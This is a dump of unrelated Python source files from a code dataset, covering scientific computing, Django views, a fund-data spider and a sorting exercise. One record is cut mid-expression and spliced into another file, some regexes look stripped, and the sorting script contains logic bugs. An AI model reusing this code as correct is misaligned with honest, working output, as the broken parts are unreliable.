+{"seq_id":"216214918","text":"# Copyright 2021 Intel Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function, absolute_import, division\nfrom numba.core import sigutils, types\nfrom .compiler import (\n compile_kernel,\n JitDPPYKernel,\n compile_dppy_func_template,\n compile_dppy_func,\n get_ordered_arg_access_types,\n)\n\n\ndef kernel(signature=None, access_types=None, debug=False):\n \"\"\"JIT compile a python function conforming using the DPPY backend.\n\n A kernel is equvalent to an OpenCL kernel function, and has the\n same restrictions as definined by SPIR_KERNEL calling convention.\n \"\"\"\n if signature is None:\n return autojit(debug=False, access_types=access_types)\n elif not sigutils.is_signature(signature):\n func = signature\n return autojit(debug=False, access_types=access_types)(func)\n else:\n return _kernel_jit(signature, debug, access_types)\n\n\ndef autojit(debug=False, access_types=None):\n def _kernel_autojit(pyfunc):\n ordered_arg_access_types = get_ordered_arg_access_types(pyfunc, access_types)\n return JitDPPYKernel(pyfunc, ordered_arg_access_types)\n\n return _kernel_autojit\n\n\ndef _kernel_jit(signature, debug, access_types):\n argtypes, restype = sigutils.normalize_signature(signature)\n if restype is not None and restype != types.void:\n msg = \"DPPY kernel must have void return type but got {restype}\"\n raise TypeError(msg.format(restype=restype))\n\n def _wrapped(pyfunc):\n ordered_arg_access_types = get_ordered_arg_access_types(pyfunc, access_types)\n return compile_kernel(None, pyfunc, argtypes, ordered_arg_access_types, debug)\n\n return _wrapped\n\n\ndef func(signature=None):\n if signature is None:\n return _func_autojit\n elif not sigutils.is_signature(signature):\n func = signature\n return _func_autojit(func)\n else:\n return _func_jit(signature)\n\n\ndef _func_jit(signature):\n argtypes, restype = sigutils.normalize_signature(signature)\n\n def _wrapped(pyfunc):\n return compile_dppy_func(pyfunc, restype, argtypes)\n\n return _wrapped\n\n\ndef _func_autojit(pyfunc):\n return compile_dppy_func_template(pyfunc)\n","sub_path":"numba_dppy/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":2705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"321915897","text":"import requests\r\n\r\ndef GetGeoLocation(address=\"武汉大学\", out_type=\"json\"):\r\n url=F'http://api.map.baidu.com/geocoder?address={address}&zoom=9&output={out_type}&src=webapp.baidu.openAPIdemo'\r\n r=requests.get(url).json()\r\n return r[\"result\"][\"location\"][\"lng\"], r[\"result\"][\"location\"][\"lat\"] \r\n\r\ndef GetMapUrl(address=\"武汉大学\"):\r\n title = \"我的位置\"\r\n lng, lat = GetGeoLocation(address, out_type=\"json\")\r\n url = F\"http://api.map.baidu.com/marker?location={lng},{lat}&title={title}&content={address}&output=html&src=webapp.baidu.openAPIdemo \"\r\n # print(url)\r\n return url","sub_path":"Proj/trafficapp/biz/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"238012473","text":"# Create your views here.\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.template import RequestContext\n\nfrom vault.models import Project\n\n\n@login_required\ndef projects(request):\n project_list = Project.objects.order_by('name')\n num_projects = len(project_list)\n context = {'project_list': project_list, 'num_projects': num_projects}\n return render_to_response('vault/projects.html', context,\n context_instance=RequestContext(request))\n\n\n@login_required\ndef project_detail(request, project_id):\n project = get_object_or_404(Project, pk=project_id)\n return render_to_response('vault/project.html', {'project': project},\n context_instance=RequestContext(request))\n\n\n@login_required\ndef create_project(request):\n return render_to_response('vault/project-dialog.html',\n context_instance=RequestContext(request))\n\n\ndef login_view(request):\n if request.method == 'POST':\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n # Redirect to a success page.\n return HttpResponseRedirect('/')\n else:\n # Return a 'disabled account' error message\n return render_to_response('vault/login.html', {'error': 'Account is disabled'},\n context_instance=RequestContext(request)) \n else:\n # Return an 'invalid login' error message.\n return render_to_response('vault/login.html', {'error': 'Invalid login'},\n context_instance=RequestContext(request))\n else:\n return render_to_response('vault/login.html', context_instance=RequestContext(request))\n\n\ndef logout_view(request):\n logout(request)\n return HttpResponseRedirect('/login/')\n","sub_path":"vault/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"2229156","text":"from dolfin import *\nfrom math import *\n\nk = 1.0\nKappa = 1.0\n\n# Defining Mesh.\n\nnx = 100\nnt = 100\n\nmesh = Rectangle(0,0,pi,pi, nx, nt)\n\n# Defining Function Space.\n\nV = FunctionSpace(mesh,\"CG\",1)\n\n# Exact y\nyex = Expression(\" sin(x[1])*sin(x[0])\")\nyex = interpolate(yex, V)\n#plot(yex, interactive = 'True')\n\n\n# Defining Boundaries\n\nclass Left(SubDomain):\n\tdef inside(self, x, on_boundary):\n\t\treturn near(x[0], 0.0)\n\nclass Right(SubDomain):\n\tdef inside(self, x, on_boundary):\n\t\treturn near(x[0], pi)\n\nclass Bottom(SubDomain):\n\tdef inside(self, x, on_boundary):\n\t\treturn near(x[1], 0.0) \n\nclass Top(SubDomain):\n\tdef inside(self, x, on_boundary):\n\t\treturn near(x[1], pi)\n\nnoslip = Constant(0.0)\n\n\n\n# Defining Boundary Measures\n\nboundaries = FacetFunction(\"uint\", mesh)\nboundaries.set_all(0)\nleft = Left()\nleft.mark(boundaries, 4)\nright = Right()\nright.mark(boundaries, 2)\ntop = Top()\ntop.mark(boundaries, 3)\nbottom = Bottom()\nbottom.mark(boundaries, 1)\n\ndss = Measure(\"ds\")[boundaries]\n\n\ngradx = as_vector((1.0,0.0))\ngradt = as_vector((0.0,1.0))\n\n\n# Defining the target control and target state expressions\n\nud = Expression(\"sin(x[0])*(sin(x[1])+cos(x[1]))+ Kappa*cos(x[0])*(pi-x[1])\", Kappa = Kappa)\n\nyd = Expression(\"sin(x[0])*sin(x[1])- cos(x[0]) - cos(x[0])*(pi-x[1])\")\n\n# Defining Neumann Boundary Conditions\n\ng = Expression(\"sin(x[1])\") \n\n\nL2error = 1.0\ntol = 1e-9\n\n# Starting with an initial value of u\numod = Function(V)\numod = interpolate(Constant(0.0),V)\nu = Function(V)\n# Setting up iterative procedure\n\nwhile(L2error > tol):\n\tu.assign(umod)\n\t# Step 1:- Solving equation for y\n\t# Define Variational Problem\n\ty = TrialFunction(V)\n\tv = TestFunction(V)\n\tw = Function(V)\n\tF = inner(grad(y), gradx) * inner(grad(v),gradx)*dx\\\n\t\t+ inner(grad(y), gradt) * v * dx\\\n\t\t- u * v * dx\\\n\t\t- g * v * dss(2)\\\n \t\t- g * v * dss(4)\n\t\n\tbc = DirichletBC(V,noslip, Bottom())\n\n\ta = lhs(F)\n\tL = rhs(F)\n\n\tsolve(a==L, w, bc)\n\t\n\t# Step 2:- Solving equation for p\n\t# Define Variational Problem\n\tp = TrialFunction(V)\n\tq = TestFunction(V)\n\tr = Function(V)\n\n\tF = inner(grad(p), gradx) * inner(grad(q),gradx)*dx\\\n\t\t- inner(grad(p),gradt) * q *dx\\\n\t\t- w * q * dx + yd * q * dx\n\n\tbc1 = DirichletBC(V,noslip, Top())\n\n\ta = lhs(F)\n\tL = rhs(F)\n\n\tsolve(a==L, r, bc1)\n\t\n\t# Control Step:- Checking if solution obtained is correct \n\t\n\tumod = ud - Kappa*r\n\tumod = project(umod, V)\n\tL2error = sqrt(assemble(inner(u-umod,u-umod)*dx))\n\tprint(L2error)\n\nplot(u,interactive = 'True')","sub_path":"optimalcontrol/itdom_optimal.py","file_name":"itdom_optimal.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"626949434","text":"import sys\nimport os \nfrom os.path import join\nimport glob\nimport numpy as n\nimport SpectraStackingEBOSS as sse\n\nspec_dir = join(os.environ['HOME'],\"SDSS/stacks/X_AGN\")\nstack_dir = join(os.environ['GIT_MAKESAMPLE'],\"data/stackLists\")\n\nfile_list = n.array(glob.glob(os.path.join(spec_dir, '*.ascii')))\n\ndef stack_it(specList ):\n\toutfile = join(spec_dir, os.path.basename(specList)[:-5]+\".stack\")\n\tprint(outfile)\n\ttest_D = n.loadtxt(specList, unpack=True)\n\tprint(len(test_D[0]))\n\tif len(test_D[0])>10:\n\t\tstack=sse.SpectraStackingEBOSS(specList, outfile)\n\t\tstack.createStackMatrix()\n\t\tstack.stackSpectra()\n\nfor file_input in file_list[::-1][5:10]:\n\tstack_it(file_input)\n\n\n","sub_path":"bin_SPIDERS_AGN/stack_X_AGN_rev.py","file_name":"stack_X_AGN_rev.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"50000781","text":"\"\"\"\nUsing an enterprise appropriate programming language of your choice,\nsort the data by each attribute (both ascending and descending)\nand display the result.\n\"\"\"\nfrom pprint import pprint\nfrom datetime import datetime\n\nl = [ {\n \"name\": \"carl\", \n \"age\": 38, \n \"skills\": \"awesome\",\n \"modesty\": \"awesome\",\n \"startDate\": \"2015-03-02T09:00:00.000000Z\"\n }, { \n \"name\": \"elson\", \n \"age\": 53, \n \"skills\": \"average\",\n \"modesty\": \"terrible\",\n \"startDate\": \"2017-02-20T09:00:00.000000Z\"\n }, { \n \"name\": \"david\", \n \"age\": 32, \n \"skills\": \"good\",\n \"modesty\": \"average\",\n \"startDate\": \"20/12/2014\"\n }, { \n \"name\": \"ben\", \n \"age\": 41, \n \"skills\": \"pretty good\",\n \"modesty\": \"good\",\n \"startDate\": \"2012-06-31T09:00:00.000000Z\"\n } \n]\n\ndef sort_ascending(l, attr):\n \"\"\" Sorts a list of dictionaries by name and age.\"\"\"\n if attr == \"name\" or \"age\":\n l = sorted(l, key = lambda x: x[attr])\n elif attr == \"startDate\":\n l = sort_date_ascending(l, attr)\n print(\"Sorted by %s, ascending:\" %attr)\n pprint(l)\n\n\ndef sort_descending(l, attr):\n \"\"\" Sorts a list of dictionaries by name and age.\"\"\"\n if attr == \"name\" or \"age\":\n l = sorted(l, key = lambda x: x[attr], reverse = False)\n elif attr == \"startDate\":\n l = sort_date_descending(l, attr)\n print(\"Sorted by %s, ascending:\" %attr)\n pprint(l)\n\ndef sort_date_ascending(l, attr):\n \"\"\" Sorts a list of dictionaries by date.\"\"\"\n if l[attr][2] == \"/\":\n return sorted(l, key=lambda x: datetime.strptime(x['startDate'][:10], '%d/%m/%Y'))\n else:\n return sorted(l, key=lambda x: datetime.strptime(x['startDate'][:10], '%Y-%m-%d'))\n\n\ndef sort_date_descending(l, attr):\n \"\"\" Performs reverced sorting of a list of dictionaries by date.\"\"\"\n if l[attr][2] == \"/\":\n return sorted(l, key=lambda x: datetime.strptime(x['startDate'][:10], '%d/%m/%Y'), reverse = True)\n else:\n return sorted(l, key=lambda x: datetime.strptime(x['startDate'][:10], '%Y-%m-%d'), reverse = False)\n\n\nsort_ascending(l, \"name\")\nsort_ascending(l, \"age\")\nsort_ascending(l, \"startDate\")\n\n\nsort_descending(l, \"name\")\nsort_descending(l, \"age\")\nsort_descending(l, \"startDate\")","sub_path":"arm_test.py","file_name":"arm_test.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"267093858","text":"# -*- coding: utf-8 -*-\n\nimport json\nimport re\nfrom datetime import datetime\nfrom FundNavSpiders import GGFundNavItem\nfrom FundNavSpiders import GGFundNavSpider\n\n\nclass ZhongyouStockSpider(GGFundNavSpider):\n name = 'FundNav_zystock'\n sitename = '中邮证券'\n channel = '券商资管净值'\n allowed_domains = ['www.cnpsec.com.cn']\n start_urls = ['http://www.cnpsec.com.cn']\n\n def __init__(self, *args, **kwargs):\n super(ZhongyouStockSpider, self).__init__(*args, **kwargs)\n\n def start_requests(self):\n fps = [\n {\n 'url': 'http://www.cnpsec.com.cn/web/list.htm?menuId=08&subId=0801&classId=080106',\n 'ref': 'http://www.cnpsec.com.cn/web/list.htm?menuId=08&subId=0801&classId=080104&menuId=08&subId=0805&classId=0805',\n 'ext': {'pg': 1, 'type': 0}\n\n }\n ]\n yield self.request_next(fps, [])\n\n def parse_fund(self, response):\n fps = response.meta['fps']\n ips = response.meta['ips']\n pg = int(response.meta['ext']['pg'])\n type = int(response.meta['ext']['type'])\n if type == 0:\n fps.append({\n 'url': 'http://www.cnpsec.com.cn/web/list.ashx',\n 'form': {'classid': '080106',\n 'pageIndex': str(pg),\n 'infoFlag': 'finfo',\n 'type': '1',\n 'datalen': '20',\n 'hrefURL': 'L2N0enEvenh6eC96eDAzLmh0bWw/bWVudUlkPTA4JnN1YklkPTA4MDEmY2xhc3NJZD0wODAxMDY=',\n 'jsontype': 'json_4'},\n 'ref': response.url,\n 'ext': {'pg': str(pg + 1), 'type': '1'}\n })\n else:\n datas = json.loads(response.text)['result']\n totalPages = int(json.loads(response.text)['totalPages'])\n if totalPages > pg:\n fps.append({\n 'url': 'http://www.cnpsec.com.cn/web/list.ashx',\n 'form': {'classid': '080106',\n 'pageIndex': str(pg),\n 'infoFlag': 'finfo',\n 'type': '1',\n 'datalen': '20',\n 'hrefURL': 'L2N0enEvenh6eC96eDAzLmh0bWw/bWVudUlkPTA4JnN1YklkPTA4MDEmY2xhc3NJZD0wODAxMDY=',\n 'jsontype': 'json_4'},\n 'ref': response.url,\n 'ext': {'pg': str(pg + 1), 'type': '1'}\n })\n for data in datas:\n url = 'http://www.cnpsec.com.cn/web/GetInfo.ashx?classId=080106&filter=guid&fv=' + str(\n data['infoid']) + '&datalen=title&hrefURL=&jsontype=json_4'\n ips.append({\n 'url': url,\n 'ref': response.url\n })\n\n yield self.request_next(fps, ips)\n\n def parse_item(self, response):\n fps = response.meta['fps']\n ips = response.meta['ips']\n\n datas = json.loads(response.text)['result']\n for data in datas:\n contents = data['content']\n regex_start1 = re.compile('.{1,30} ')\n regex_start2 = re.compile('.{1,30} ')\n\n table1 = regex_start1.findall(contents)\n table2 = regex_start2.findall(contents)\n index = 3\n item = GGFundNavItem()\n for td in table1:\n n = index % 3\n if n == 0:\n item = GGFundNavItem()\n fund_name = data['title']\n item['sitename'] = self.sitename\n item['channel'] = self.channel\n item['url'] = response.url\n item['fund_name'] = re.sub(r'净值\\s*$', '', fund_name)\n if n == 0:\n statistic_date = self.parse_time(td)\n if statistic_date is None:\n continue\n item['statistic_date'] = statistic_date\n index = index + 1\n if n == 1:\n nav = re.search('\\d{1,2}\\.\\d{1,6}', td, flags=0).group()\n nav = re.search(r'([0-9.]+)', str(nav))\n nav = nav.group(0) if nav is not None else None\n item['nav'] = float(nav) if nav is not None else None\n index = index + 1\n if n == 2:\n added_nav = re.search('\\d{1,2}\\.\\d{1,6}', td, flags=0).group()\n added_nav = re.search(r'([0-9.]+)', str(added_nav))\n added_nav = added_nav.group(0) if added_nav is not None else None\n item['added_nav'] = float(added_nav) if added_nav is not None else None\n index = index + 1\n yield item\n index = 3\n item = GGFundNavItem()\n for td in table2:\n n = index % 3\n index = index + 1\n if n == 0:\n item = GGFundNavItem()\n fund_name = data['title']\n item['sitename'] = self.sitename\n item['channel'] = self.channel\n item['url'] = response.url\n item['fund_name'] = fund_name\n if n == 0:\n statistic_date = self.parse_time(td)\n if statistic_date is None:\n continue\n item['statistic_date'] = statistic_date\n index = index + 1\n if n == 1:\n nav = re.search('\\d{1,2}\\.\\d{1,6}', td, flags=0).group()\n nav = re.search(r'([0-9.]+)', str(nav))\n nav = nav.group(0) if nav is not None else None\n item['nav'] = float(nav) if nav is not None else None\n index = index + 1\n if n == 2:\n added_nav = re.search('\\d{1,2}\\.\\d{1,6}', td, flags=0).group()\n added_nav = re.search(r'([0-9.]+)', str(added_nav))\n added_nav = added_nav.group(0) if added_nav is not None else None\n item['added_nav'] = float(added_nav) if added_nav is not None else None\n index = index + 1\n yield item\n yield self.request_next(fps, ips)\n\n # 日期处理2017年05月26日----2018/1/15------2015-12-18\n def parse_time(self, td):\n index = td.find(\"年\")\n flg = 1\n if index > 0:\n statistic_date = re.search('\\d{4}年\\d{1,2}月\\d{1,2}日', td, flags=0)\n index = td.find('-')\n if index > 0:\n statistic_date = re.search('\\d{4}-\\d{1,2}-\\d{1,2}', td, flags=0)\n flg = 2\n else:\n statistic_date = re.search('\\d{4}\\/\\d{1,2}\\/\\d{1,2}', td, flags=0)\n flg = 3\n if statistic_date is None:\n return None\n statistic_date = statistic_date.group()\n if flg == 1:\n statistic_date = datetime.strptime(statistic_date, '%Y年%m月%d日')\n if flg == 2:\n statistic_date = datetime.strptime(statistic_date, '%Y-%m-%d')\n if flg == 3:\n statistic_date = datetime.strptime(statistic_date, '%Y/%m/%d')\n return statistic_date\n","sub_path":"FundNavSpiders/ZhongyouStock.py","file_name":"ZhongyouStock.py","file_ext":"py","file_size_in_byte":7354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"17585931","text":"#\n# Copyright 2011 Greg Bayer \n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\n\nimport os\nimport wsgiref.handlers\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp import template\nfrom livecount import counter\nfrom livecount.counter import LivecountCounter\nimport logging\nimport simplejson\n\n#counter_list = []\n\nclass CounterHandler(webapp.RequestHandler):\n \"\"\"Handles displaying the values of the counters\n and requests to increment/decrement counters.\n \"\"\"\n\n def get(self):\n counter_name = self.request.get('counter_name')\n namespace = self.request.get('namespace')\n if not namespace:\n namespace = \"default\"\n delta = self.request.get('delta')\n if not delta:\n delta = 0\n logging.info(\"getting LivecountCounters for namespace = \" + str(namespace))\n modified_counter = None\n if counter_name:\n modified_counter = LivecountCounter.get_by_key_name(namespace + \":\" + counter_name)\n \n counter_entities_query = LivecountCounter.all().filter(\"namespace = \", namespace).order('-count')\n counter_entities = counter_entities_query.fetch(20)\n logging.info(\"counter_entities: \" + str(counter_entities))\n \n stats = counter.GetMemcacheStats()\n template_values = {\n 'namespace': namespace,\n 'counters': counter_entities,\n 'modified_counter': modified_counter,\n 'counter_name': counter_name,\n 'delta': delta,\n 'stats': stats\n }\n logging.info(\"template_values: \" + str(template_values))\n template_file = os.path.join(os.path.dirname(__file__), 'counter_admin.html')\n self.response.out.write(template.render(template_file, template_values))\n\n def post(self):\n global counter_list\n counter_name = self.request.get('counter')\n namespace = self.request.get('namespace')\n delta = self.request.get('delta')\n type = self.request.get('type')\n# if counter_name not in counter_list:\n# counter_list.append(counter_name)\n# logging.info(\"counter_list: \" + str(counter_list))\n if type == \"Increment Counter\":\n counter.load_and_increment_counter(counter_name, long(delta), namespace=namespace)\n elif type == \"Decrement Counter\":\n counter.load_and_decrement_counter(counter_name, long(delta), namespace=namespace)\n self.redirect(\"/livecount/counter_admin?namespace=\" + namespace + \"&counter_name=\" + counter_name + \"&delta=\" + delta)\n\n\nclass GetCounterHandler(webapp.RequestHandler):\n \"\"\"Handles displaying the values of the counters\n and requests to increment/decrement counters.\n \"\"\"\n\n def get(self):\n counter_name = self.request.get('counter_name')\n namespace = self.request.get('namespace')\n if not namespace:\n namespace = \"share_domain_count\"\n fetch_limit = self.request.get('fetch_limit')\n if not fetch_limit:\n fetch_limit = \"20\"\n \n if counter_name:\n logging.info(\"querying counter directly for counter_name = \" + str(counter_name) + \", namespace = \" + str(namespace))\n count = counter.load_and_get_count(counter_name, namespace=namespace)\n \n self.response.set_status(200)\n self.response.out.write(count)\n else:\n logging.info(\"querying datastore for LivecountCounters for counter_name = \" + str(counter_name) + \", namespace = \" + str(namespace))\n counter_entities_query = LivecountCounter.all().order('-count')\n if counter_name:\n counter_entities_query.filter(\"counter_name = \", counter_name)\n if namespace:\n counter_entities_query.filter(\"namespace = \", namespace)\n counter_entities = counter_entities_query.fetch(int(fetch_limit))\n logging.info(\"counter_entities: \" + str(counter_entities))\n\n counters = []\n for entity in counter_entities:\n counter_data = {'key': str(entity.key().name()),\n 'count': str(entity.count)}\n counters.append(counter_data)\n json_counters_data = simplejson.dumps(counters)\n \n if json_counters_data:\n self.response.set_status(200)\n self.response.out.write(json_counters_data)\n return\n\n\ndef main():\n application = webapp.WSGIApplication(\n [ \n ('/livecount/counter_admin', CounterHandler),\n ('/livecount/get_counter', GetCounterHandler),\n ], debug=True)\n wsgiref.handlers.CGIHandler().run(application)\n\n\nif __name__ == '__main__':\n main()","sub_path":"livecount/counter_admin.py","file_name":"counter_admin.py","file_ext":"py","file_size_in_byte":4906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"93565528","text":"\"\"\" Module containing the ContactsData class for measuring protein residue - ligand atom distances,\nsaving and reading these distances, and some level of manipulation of the data.\n\nIf run as a script, the contacts in a supplied gro/trajectory file are measured and saved. \n\"\"\"\n\nimport MDAnalysis as mda\nimport numpy as np\nfrom sklearn.metrics import pairwise\nimport os\nimport json\nimport matplotlib.pyplot as plt\nimport sys\n\n##########################################################################\n\nclass ContactsData:\n\t\"\"\"For the storing and reading of contacts between a protein and ligand\"\"\"\n\tdef __init__(self):\n\t\tself.protein_atoms = []\n\t\tself.ligand_atoms = []\n\t\tself.distancematrix = None\n\tdef from_simdata(self, structure, trajectory, protein_selector, ligand_selector):\n\t\t\"\"\" Extract contact and atom name data from simulation and populate class attribute \"\"\"\n\t\tuniverse = mda.Universe(structure, trajectory)\n\t\tprotein = universe.select_atoms(protein_selector)\n\t\tligand = universe.select_atoms(ligand_selector)\n\t\tframes = []\n\t\tfor ts in universe.trajectory:\n\t\t\tframes.append(pairwise.pairwise_distances(protein.atoms.positions, ligand.atoms.positions))\n\t\tframes = np.array(frames)\n\t\tself.protein_atoms = [str(x.resid) + \",\" + x.name for x in protein.atoms]\n\t\tself.ligand_atoms = [str(x.resid) + \",\" + x.name for x in ligand.atoms]\n\t\t# Frame, Protein Atom, Ligand Atom\n\t\tself.distancematrix = frames\n\tdef to_cache(self, file_location):\n\t\t\"\"\" Save class attributes to disk\"\"\"\n\t\tif not os.path.exists(file_location):\n\t\t\tos.makedirs(file_location)\n\t\tnp.save(os.path.join(file_location, \"distances.npy\"), self.distancematrix)\n\t\twith open(os.path.join(file_location,\"protein.json\"),\"w\") as fh:\n\t\t\tjson.dump(self.protein_atoms, fh)\n\t\twith open(os.path.join(file_location,\"ligand.json\"),\"w\") as fh:\n\t\t\tjson.dump(self.ligand_atoms, fh)\n\tdef from_cache(self, file_location):\n\t\t\"\"\" Populate class attributes from disk \"\"\"\n\t\tfor in_file in (\"distances.npy\", \"protein.json\", \"ligand.json\"):\n\t\t\tif os.path.exists(os.path.join(file_location, in_file)):\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\traise IOError(\"File {name} not found!\".format(name = in_file))\n\t\tself.distancematrix = np.load(os.path.join(file_location, \"distances.npy\"))\n\t\twith open(os.path.join(file_location,\"protein.json\"),\"r\") as fh:\n\t\t\tself.protein_atoms = json.load(fh)\n\t\twith open(os.path.join(file_location,\"ligand.json\"),\"r\") as fh:\n\t\t\tself.ligand_atoms = json.load(fh)\n\tdef protein_resids(self):\n\t\t\"\"\" Returns list of protein residue ids (for each atom) \"\"\"\n\t\treturn np.array([int(x.split(\",\")[0]) for x in self.protein_atoms])\n\tdef filter_by_residue(self, residue_id):\n\t\t\"\"\" Returns contact data for atoms in selected residue \"\"\"\n\t\tprotein_selector = self.protein_resids() == residue_id\n\t\t# Frame, Ligand Atom\n\t\treturn self.distancematrix[:,protein_selector,:]\n\tdef contact_time(self, residue_id, distance):\n\t\t\"\"\" Returns array of existence of a contact within the cuttoff distance for the selected residue \"\"\"\n\t\treturn (self.filter_by_residue(residue_id) 1:\n kwargs['model'] = sys.argv[1]\n if len(sys.argv) > 2:\n kwargs['num_epochs'] = int(sys.argv[2])\n main(**kwargs)\n","sub_path":"examples/robot_spatial_pose.py","file_name":"robot_spatial_pose.py","file_ext":"py","file_size_in_byte":13278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"414915180","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\nimport exercises.draw_boxes\n\n# Define a function that takes an image,\n# start and stop positions in both x and y,\n# window size (x and y dimensions),\n# and overlap fraction (for both x and y)\ndef slide_window(img, x_start_stop=[None, None], y_start_stop=[None, None],\n xy_window=(64, 64), xy_overlap=(0.5, 0.5)):\n # If x and/or y start/stop positions not defined, set to image size\n if x_start_stop[0] == None:\n x_start_stop[0] = 0\n if x_start_stop[1] == None:\n x_start_stop[1] = img.shape[1]\n if y_start_stop[0] == None:\n y_start_stop[0] = 0\n if y_start_stop[1] == None:\n y_start_stop[1] = img.shape[0]\n # Compute the span of the region to be searched\n span_x = x_start_stop[1] - x_start_stop[0]\n span_y = y_start_stop[1] - y_start_stop[0]\n # Compute the number of pixels per step in x/y\n pixel_per_step_x = np.int(xy_window[0] * (1 - xy_overlap[0]))\n pixel_per_step_y = np.int(xy_window[1] * (1 - xy_overlap[1]))\n # Compute the number of windows in x/y\n n_windows_x = np.int((span_x - (xy_window[0] * xy_overlap[0])) // pixel_per_step_x)\n n_windows_y = np.int((span_y - (xy_window[1] * xy_overlap[1])) // pixel_per_step_y)\n # Initialize a list to append window positions to\n window_list = []\n # Loop through finding x and y window positions\n # Note: you could vectorize this step, but in practice\n # you'll be considering windows one by one with your\n # classifier, so looping makes sense\n for win_y in range(n_windows_y):\n start_y = win_y * pixel_per_step_y + y_start_stop[0]\n y_height = start_y + xy_window[1]\n for win_x in range(n_windows_x):\n # Calculate each window position\n start_x = win_x * pixel_per_step_x + x_start_stop[0]\n x_width = start_x + xy_window[0]\n\n # Append window position to list\n window_list.append(((start_x, start_y), (x_width, y_height)))\n\n # Return the list of windows\n return window_list\n\n\"\"\"\nimage = mpimg.imread('../test_images/bbox-example-image.jpg')\nwindows = slide_window(image, x_start_stop=[None, None], y_start_stop=[400, None],\n xy_window=(128, 128), xy_overlap=(0.5, 0.5))\n\nwindow_img = draw_boxes.draw_boxes(image, windows, color=(0, 0, 255), thick=6)\nplt.imshow(window_img)\nplt.show()\n\"\"\"\n","sub_path":"exercises/sliding_window.py","file_name":"sliding_window.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"348243132","text":"# -*- coding: utf-8 -*-\n#\n# Copyright © Spyder Project Contributors\n# Licensed under the terms of the MIT License\n#\n\n\"\"\"\nTests for shortcuts.py\n\"\"\"\n\nimport os\n\n# Test library imports\nimport pytest\n\n# Local imports\nfrom spyder.plugins.shortcuts import ShortcutsTable\n\n@pytest.fixture\ndef setup_shorcuts(qtbot):\n \"\"\"Set up shortcuts.\"\"\"\n widget = ShortcutsTable()\n qtbot.addWidget(widget)\n return widget\n\n\n@pytest.mark.skipif(not os.name == 'nt', reason=\"It segfaults too much on Linux\")\ndef test_shortcuts(qtbot):\n \"\"\"Run shortcuts table.\"\"\"\n shortcuts = setup_shorcuts(qtbot)\n shortcuts.show()\n shortcuts.check_shortcuts()\n assert shortcuts\n\n\nif __name__ == \"__main__\":\n pytest.main()\n","sub_path":"home--tommy--mypy/mypy/lib/python2.7/site-packages/spyder/plugins/tests/test_shorcuts.py","file_name":"test_shorcuts.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"114916197","text":"from setuptools import setup\n\ndef get_version():\n \"\"\"Get version and version_info from stuffpages/__meta__.py file.\"\"\"\n\n import os\n module_path = os.path.join(os.path.dirname('__file__'), 'stuffpages',\n '__meta__.py')\n\n import importlib.util\n spec = importlib.util.spec_from_file_location('__meta__', module_path)\n meta = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(meta)\n return meta.__version__\n\n__version__ = get_version()\n\nsetup(\n name = 'StuffPages',\n version = __version__,\n packages = ['stuffpages'],\n package_data = {'stuffpages': ['_stuffpages/*.*',\n '_stuffpages/styles/*.*']},\n entry_points = {\n 'console_scripts': [\n 'stuffpages = stuffpages.__main__:main'\n ]\n },\n setup_requires = ['wheel'],\n install_requires = ['markdown',\n 'pymdown-extensions',\n 'Pygments',\n 'beautifulsoup4'])\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
